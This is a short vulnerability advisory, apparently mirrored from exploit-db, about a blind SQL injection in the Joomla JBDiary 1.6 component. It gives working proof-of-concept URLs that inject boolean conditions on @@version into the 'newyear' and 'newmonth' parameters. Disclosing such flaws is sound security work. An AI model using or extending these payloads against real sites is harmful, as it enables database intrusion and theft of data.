Joomla! Component JBDiary – Blind SQL Injection

  • 作者： B-HUNT3|2
    日期： 2010-01-23
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/11239/
  • [~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (JBDiary) BLIND SQL Injection Vulnerabilities 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TYPE: COMMERCIAL
[~]>> PRICE: 5€
[~]>> TESTED ON: Demo Site

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Multiple input vars are vulnerable to SQL code injection.
[~]>> AFFECTED VERSIONS: Confirmed in 1.6 but probably other versions also. 
[~]>> RISK: High/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOFS OF CONCEPT:

[~]>> http://server/?newyear=[SQL]&newmonth=[SQL]


[~]>> -----{VAR NEWYEAR}-----

[~]>> {RETURN TRUE}
[~]>> http://server/?newyear=2011'+and+substring(@@version,1,1)=4%23&newmonth=01 
[~]>> {RETURN FALSE}
[~]>> http://server/?newyear=2011'+and+substring(@@version,1,1)=5%23&newmonth=01

[~]>> -----{VAR NEWMONTH}-----

[~]>> {RETURN TRUE}
[~]>> http://server/?newyear=2011&newmonth=01'+and+substring(@@version,1,1)=4%23
[~]>> {RETURN FALSE}
[~]>> http://server/?newyear=2011&newmonth=01'+and+substring(@@version,1,1)=5%23

[~]>> Note: True or False is visible in calendar's colors.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...